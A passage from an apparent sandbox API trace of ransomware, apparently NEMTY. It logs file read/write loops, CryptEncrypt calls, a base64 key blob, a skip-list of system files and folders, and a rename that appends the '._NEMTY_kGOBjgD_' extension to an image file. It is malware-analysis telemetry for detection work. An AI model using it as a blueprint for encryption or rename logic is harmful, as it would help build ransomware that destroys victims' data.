lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.953] CloseHandle (hObject=0xffffffff) returned 0 [0114.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0114.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0114.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0114.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0114.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0114.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png._nemty_kgobjgd_")) returned 0 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.954] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285f8327, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cronometer_s.png", cAlternateFileName="")) returned 1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".") returned 1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="..") returned 1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="...") returned 1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="windows") returned -1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="$RECYCLE.BIN") returned 1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="rsa") returned -1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="NTDETECT.COM") returned -1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="ntldr") returned -1 [0114.954] lstrcmpiW (lpString1="cronometer_s.png", lpString2="MSDOS.SYS") returned -1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="IO.SYS") returned -1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="boot.ini") returned 1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="boot.ini") returned 1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="ntuser.dat") returned -1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="desktop.ini") returned -1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="CONFIG.SYS") returned 1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="RECYCLER") returned -1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="BOOTSECT.BAK") returned 1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="bootmgr") returned 1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="programdata") returned -1 [0114.955] lstrcmpiW (lpString1="cronometer_s.png", lpString2="appdata") returned 1 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_s.png", lpUsedDefaultChar=0x0) returned 16 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_s.png", lpUsedDefaultChar=0x0) returned 16 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_s.png", lpUsedDefaultChar=0x0) returned 16 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_s.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_s.png", lpUsedDefaultChar=0x0) returned 16 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0114.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0114.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0114.956] Sleep (dwMilliseconds=0x5) [0114.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf82c9a70, dwHighDateTime=0x1d561e7)) [0114.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf82c9a70, dwHighDateTime=0x1d561e7)) [0114.970] GetLastError () returned 0x5 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.970] GetLastError () returned 0x5 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0114.970] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0114.970] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0114.970] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0114.970] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="7MkXtAXnU7w2dq+VTroxXrgrpdONhtAklEgT5yHP4aKkETtGtlhbMX0CPWlP0mm4\r\ny/GhyzO7U/+WTWAAHs4Ns3FXHgc/sKoZOqUkc1SIbf1UN7jZ3lPtWnuaqtwStcJS\r\nORUXJwvRmMtA7GnsTPrSyA5pCZSajqk9LvSW/ajVdtUdEiN8QJlMefjdi+sWhxGa\r\nFt/XkJnX0WfGAzBzo59D0iLXHBsJASIIBoMAEervvrjjaOaIQv0C1NvYjiPW2XAo\r\ngnZRF/io2zBFt/e+/lwrtm1xMjQskuDkJH8tsPORdCZ9mwzKTFEzbo4smZEZb9ru\r\nh4Us73QcmU4CF2eRsYs3Lg==\r\n", pcchString=0x653e91c) returned 1 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0114.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.970] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.971] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0114.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 